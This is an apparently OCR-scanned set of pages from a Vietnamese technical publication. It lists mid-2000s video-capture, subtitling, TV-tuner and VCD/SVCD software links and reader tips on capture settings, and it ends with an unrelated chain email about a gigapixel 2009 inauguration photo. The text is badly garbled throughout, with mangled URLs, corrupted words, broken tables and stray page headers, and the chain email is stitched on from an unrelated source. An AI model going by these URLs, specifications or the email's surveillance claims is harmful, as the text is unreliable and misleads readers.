digest.com/software/ultimate subtitle converter.html EES ER http://www.redox.si/vIPlay/english/pages/home.htm Subtitling SR MicroDVD = ConSub 1.59 http://www? 1.brinkster.com/consub/ DVBs Subtitler 1.08 http://zuggy.wz.cz/dvb.php Hearing Imp E oiar heana remover.html Text Remover 0.1 ISub 1.0.2 http://www.divx-digest.com/software/isub.html See 0.9 Video ah link (Dead site*) microAdjust 2.65 ^ http://www.divx-digest.com/software/microadjust.html KA E eet Position Converter SabUpdater z j SAMDSUB 1.00 http://www.divx-digest.com/software/sami2sub.htm1 SubAdjust 1.56 http://www.divx-digest.com/software/subadjust.html oo Se Beta, tp://www2.arnes.si/-krtele7/subeditfx SubRescue 3.04 http://www.divx-digest.com/software/subrescue.html SubRIP 1.17.1 / SubMerger 0.12 http://zuggy.wz.cz SubtitleFix 1.1.0 http://www.subtitlefix.8m.com SubTool 2.6 http://users.skynet.be/stijnbal/subtool Subtitling - Sub A Station Alpha Kee DVP2SSA 1.0 http://www.divx-digest.com/software/dvp2ssa.html How to Fansub Digitally - v1.0 SRT to SSA Converter 1.0 SSA Prompter 1.30 http://prompter.anime.ru http://www .inwards.com/-dbb/digital fansubbing.html http://www.divx-digest.com/software/srt2ssa.html 130 KỸ THUẬT ĐIỆẩ TOÁä Sub Station Alph 4.08 SUB to SSA 2.0 http://www.geocities.com/agrgic.geo/sub2ssa.htm SubCreator 1.2.0.117 http://www.radioactivepages.com Subtitling with Sub s se ah eck p: £ ; g. Station Alpha (SSA) http://www.geocities.com/rmisw/iat] /subtitling.html “http://www.eswat.demon.co.uk (DOW4 !!!*) VobSub 2.23 http://www.gabest.org Television A Alles uber das : : p: tv- ; Testbild http://www.tv-testbild.com ATV2000 2.0.20.8 http://mikecrash.wz.cz/atv2000/atv2000.htm AutoZoom 1.10 http://www.inmatrix.com/files/autozoom download.shtml Bt8xx WDM Video Acquisition Driverhttp://btwincap.sourceforge.net/ (BTWIá CAP) 5.3.6 btv (and more) tv,video and radiohttp://home.t-online.de/home/gunther.mayer/bttv/bttv-gallery.html card gallery. ChrisTV 3.51 http://christv.sools.com DScaler 3.10 / e E ge del Alpha FAQ: How To : I p: .145.176.7/ j. Adjust a TV http://209.145.176.7/~090/awh/how2adj.html Freevo Ị nC tia freevo.sourceforge.net (Linux) How to add a composite video out tttp://home.debitel.net/user/holger.beetz/ehp_tv_out.htm (Dead ite* to a TV tuner card? site") Ivan Uskov's, . A Sokoa Lab http://www.iulabs.com JTV 3.0 wIP 12.6 — http://jtvhost.narod.ru/en/ MsDVR 2000 : p: ; ; 1.1.236 (beta) http://www.maksil.com MythTV 0.11 http://www.mythtv.org MyTV 2.11 http://www.mytv.free.fr Se SE http://home.t-online.de/home/32009678701 l/index.html TestBeeld http://home.worldonline.nl/~peterdb/testcard SE bu GATA pies miel druim ce ultr p/testcard/around world.html pune ae p VUE Dra] ectorcentral.com/good video.htm Television TV-Cards http://www.tv-cards.com TVMonkeys http://www.torps.com/tvmonkeys.htm TVTool 9 http://tvtool.info/index_e.htm Virtual VCR 2.6.9 http://www.digtv.ws Worldwide TV Standards - A Webhttp://www.ee.surrey.ac.uk/Contrib/WorldTV/ Guide 131 KỸ THUẬT ĐIỆẩ TOÁä Ulead A Active Service http://www.activeservice.co.uk Alexander G-nttp://bag.hotmail.ru Balaknnin Thuy Movie Factori ennad com duit minnie hin "ne Workshop Een Nin Electric Eyes http://www.btinternet.com/~electric.eyes How to do perfect bluescreen with. : . http: .highvid. i p . Ulead Media Stu q; ott /'www.hishvid.com/video tmsp1/01.shtml Pro MediaStudio Pro 7 http://www.ulead.com/msp/runme.htm MediaStudio ` User web link Group Tutorials http://www.ulead.com/learning/learning.htm Ulead Cool 3D - Creating a basic Title Ulead Cool 3D http://www.highvid.com/video_t/c3d/title_1.shtml http://www.video2stream.com/ Tutorials Video TIPs http://users.rcn.com/rofrano/Video/Video TIPs/video tIPs.htm VideoStudio 7 http://www.ulead.com/vs/runme.htm VCD/CVD/SVCD/C i DR == Adaptec ASPI 4.71.2 web link AutoFitCD Crop and Resize Plugin forhttp://home.t-online.de/home/340044300675/ DVD2SVCD v1.5 Bitrate Calculator 2003.01.24 CDRDAO 1.1.7 http://cdrdao.sourceforge.net CVD: What is it, how to test it & what tohttp://www.dvdrhelp.com/forum/userguides/98177.php eXPect! Daemon Tools 3.43 http://www.daemon-tools.cc DVD to (S)VCD with Menu’s andhttp://users3.ev1.net/-CavemanLawyer Chapters DVD2DVD Guide — http://www.mrbass.org/dvd2dvd DVD2SVCD 1.2.1 http://www.dvdrhelp.com/calc.htm http://www.dvd2dvd.org/ build 3 EncodingInfo http://www.encodinginfo.org.uk/ FCD 1.1.2 and |. ReStream 0.9.0 http://shh.dvdboard.de From DVD to SVCD
    • The Anime Wayhttp://svcdguide.animeaddiction.net (Dead site*) v5.0 132 KỸ THUẬT ĐIỆẩ TOÁä GáU VCDImager p: .vcdimager.org 0.6.2 http://www.vcdimager.or QU. VCDIPHÉhty://vww dvdrhelp.com/vedimagergui.htm IsoBuster 1.4 http://www.smart-projects.net/isobuster KVCD http://www.kvcd.net mikk http://www.geocities.com/mikk999 Mode 2 CD Maker http://es.geocities.com/dextstuff 1.5a RáC's Guide to hltp://homepage.mac.com/rnc/ SVCD on Mac http://homepage.mac.com/rnc/ Sefy's Complete DVD Backup Guidehttp://www.labdv.com/sefy-guide v2.2 Super. Video CDrttp;//www.uvasa.fi/£76998/video/svcd/overview Overview SVCD-Made-Easy (Well... Almost) SVCDBuilder 2.2.0.4http://members.lycos.co.uk/svcdbuilder The Real Size Of A CD-R Disc ao Video CD) to: //www swasa.fi/~£76998/video/sved/fag VCD Composer 0.2c http://www.algonet.se/~pretzel/VCDComposer (Dead Site*) VCDEasy 1.1.6 http://www.vcdeasy.org VCDGear 3.55 GUI http://www.vcdgear.com VCDwizard 2.8.2.0 http://www.labdv. com/veawizard/indes, php FAQ http://www.geocities.com/bug2kbug/svcd.htm http://www .ping.be/satcp/realsize01.htm "Official" resolutions and bitrates CVD SVCD DVD 352x480 | 480x480 29.97fps 29.97fps 352x576 | 480x576 2 5fps 2 5fps 133 KỸ THUẬT ĐIỆẩ TOÁä p Total A+V| 375 kbps p to 2756p to 2756p to 9000 16 MB/min Variable Bitrate bps bps bps 80m CDR S0minutes [35+ minutes B5+ minutes| B minutes | 47DVD-R| | | | |ncompatiblep-4 hous lIneompatible Incompatible This chart is an incomplete general summary of the standards for standalone players. 1.- Do you know of a good link? Send the link and why you think it is appropriate for this list to [email protected]. 2.- Help from a friend on how to eliminate videotape squiggles with a JVC HR- S7600U VCR: turn OFF TBC on front of VCR turn Oá video calibration in menu of VCR turn OFF Superimpose turn Oá video stabalizer turn OFF blue back (my choice) 3.- Advice from an acquaintance about how to set image quality with VirtualDub analog captures: a ope, there are no easy fixes that I have found. Instead, I capture at default settings (actually I raise the color saturation a bit from default) and then correct for any contrast problems by filtering. You can either play this by ear (and usually end up fine) or use the levels filter and try to get it exact. Using the levels filter, you would set output to 16 and 235, and input to whatever to correct "pure white’’ and ‘’pure black"' values are. The way you determine this is you use the *'Copy source frame to clIPboard"' command and paste the frame into photoshop or any other image editor that tells you RGB 134 KỸ THUẬT ĐIỆẩ TOÁä values. Find a frame that has something that should be pure black and white, like a frame from the credits. You take a look at average values and set it. For instance, where it should be completely black, the RGB value might be 10. This is your input. Same for white levels. a ote that it will probably appear darker on your monitor than it will on TV. But only a bit... 4.- ATI All-in- Wonder Radeon settings I've found are best (determined using THX Optimizer): Bright: 128 Contrast: 133 Tint: 137 Color: 140 My card is 4TSC but it WILL accept PAL signals over the RCA or S-Video connectors: "Regarding capturing PAL input through s-video or composite: It is not an advertised feature of the card, however you should be able to capture PAL input. Launch ATI TV player, open TV player setup, click the video tab, change the broadcast standard from à TSC to PAL. Make the appropriate sound and audio connections to the AIW Radeon's purple input adapter and change the input signal to composite / s-video in the ATI TV player to view the input. Regards, Edwin Abuyuan Customer Service (Canada ATI Technologies, Inc. http://www.ati.c”’ JVC makes a number of multIPle-format decks. I like the HR-JA81MS and HR- J657MS 5.- I have an ATI All-in-Wonder Radeon but have given up on using it for analog conversion. Canopus has a converter that is far better for about $300. 4 ot only is video quality far superior, audio is clean because the sampling isn't done inside the computer case which is full of radio noise. Here's a link: ADVC-100 You can also use a miniDV camcorder with pass-through conversion. TigerDirect had factory-refurbished ADS Technologies USB Instant DVD bundles for $100. There are a lot of mixed reviews but all the problems seem to be from old software or low-end computers. I've bought one of these and will post my impression soon. 6.- The RadLight team highly recommends using subtitles which are time-based, not frame-based. They suggest SubRIP and SubViewer 2 formats. 7.- Be careful with DivX5 Pro. I've had nothing but trouble with the Gator ad-support version. The registered version uses a hardware-specific key making it a royal pain in the butt. Shame. 8.- VirtualDub wish list: a ative MPEG-2, MPEG-4 (DivX, XviD) and tystream support Intra-GOP editing with unmodified GOPs 4 OT recompressed, edited GOPS converted to I frames Option for source and destinations to show in different Windows (for dual monitors.) User-defined colors for the crop bar edges (they're currently black only) Tolerant” framerate comparison, not byte comparison ‘’Save states’’ for capture settings 9.- I'm working on a new links list. It will be for AVISynth and VirtualDub filters/plug-ins/utilities. Each will be sorted by function and have a lot more information than what's on this page. EXPect that page sometime in March. 10.- Reply from Avery Lee: 135 KỸ THUẬT ĐIỆẩ TOÁä I am consistently getting an error -2 when trying to use the Histogram function during captures with an All-in-Wonder Radeon card. Drivers being used are the most recent as posted at ATI's site including the new capture driver. At one point this function worked, now it doesn't. There's got to be something I'm doing wrong. What do you think would make the histogram work again ? The capture driver probably switched video format on you set it to YUY2. You need a decompression driver for the format you are capturing. 11.- ‘’Hidden’’ utility to set custom capture settings for the ADS USB Instant DVD (ADS email): For Advanced users only To Find this utility, eXPlore the CD: D_ software\help\backup\StreamMachine Diagnostic\Setup.exe When this installer runs, be sure to select SAA7121 as the video encoder, or you will be royally messed up! We hid this on the CD for tech support purposes and also for the off chance people wanted to mess with the capture configurations. To create your own custom settings: 1.- Click "Use Advanced Settings" 2.- Click *'Create Parameter file"' 3.- Select à TSC/PAL and Resolution 4.- Click MPEG Parameter tab 5.- Change Bit Rate Don't change anything else! If you uncheck Top Field First, your output to TV will be very shaky. You can change the GOP (group of pictures), but this is set for optimum Lower setting makes quality worse. Higher setting might not help much. We are doing CBR (Constant Bit Rate) because USB works best with this setting. We are not trying to support variable bit rate on this product. So you can set a parameter to SIF resolution for VCD and up the bit rate to 2,000,000 (2Mb/sec), click OK and name it VCDX and give it a whirl. Be sure to save to the ADSTECH Instant DVD folder. Then this setting will appear in Video Studio Video Properties. Depending on your PC, the goal of capturing at 8 Mb/sec., may not be possible. USB 1.0 is only 12 Mb/sec. and not all of that is actually usable. I have captured at 6 and 7 Mb/sec, but I then had to tweak audio synch and I have found that 5 Mb/sec. works best. The chIP can do up to 15 MB/sec., which is the highest bit rate for SD (Standard Definition) TV standard for MEPG-2. Keep in mind that many Hollywood DVD's are created at 4.5 Mb/sec. This allows 233 minutes of DVD video to fit on a 4.7 GB single sided disk. I have a localized version of this site. Email me if you want a copy and a ZIP will be attached to the reply. Kỹ thuật hiện đại: . f ] MOT HIEN TUQNG KHONG THE TIN NOI! 136 KỸ THUẬT ĐIỆẩ TOÁä Xin mời Quý vị click vô link dưới đây để xem bức hình chụp ngày tuyên thệ lễ nhậm chức của Tổng Thống Obama bằng kỹ thuật Super Hi-Def. Quý vị sẽ ngạc nhiên về kỹ thuật này! Dù hình này chụp panorama nhưng khi zoom lại gần, bạn sẽ nhìn rõ khuôn mặt từng người: Obama, Bush.... ä hân chuột 2 lần vào chỗ bạn muốn coi (zoom). Hinh hơi mờ nên đợi một giây cho hinh ró (focus) rồi zoom tiép...doi focus... Click vào dáy dé xem: http://gigapan.org/viewGigapanFullscreen.php?auth-033ef14483ee899496648c2b4b06233c á hán chuót 2 làn vào chó ban muốn coi (zoom). Hinh hơi mờ nên đợi một giây cho hinh ró(focus) rồi zoom tiếp...đợi focus... Máy chụp hình này là loai máy chup hinh quan sát (surveillance camera) cua hang Canon có độ phán 1474 megapixel (ttc la gáp khoáng 295 lần của một máy hình 5 megapixel) cüng lác chup 200 vi trí khác nhau đề tạo thành một bức hình ! Unbelievably phenomenal picture of the inauguration. Absolutely amazing! Take a couple minutes to familiarize yourself with the zoom and move controls. You can check complexion of visitors on far side. This you must check out! With these cameras the secret service has a record of everyone who attended. 2009 Inauguration Photo - SUPER HI-DEF. This is absolutely the BEST in 'high definition'..... Really amazing. Zoom in ('double-click' an area)....and watch it focus. Then zoom some more...and wait for focus. What a surveillance tool this is. ! This picture was taken with a robotic camera and weighs in at 1,474 megapixel. (295 times the standard 5 megapixel camera). It was a Canon that pulled together over 200 individual shots. Each zoom in takes a second to focus...and then you can see some amazing reactions. Zoom in on Laura Bush. Think that's joe Bidens wife next to Laura.. and her two daughters behind her. See Dick Cheney in his wheelchair ! 137 KY THUAT DIEa TOAA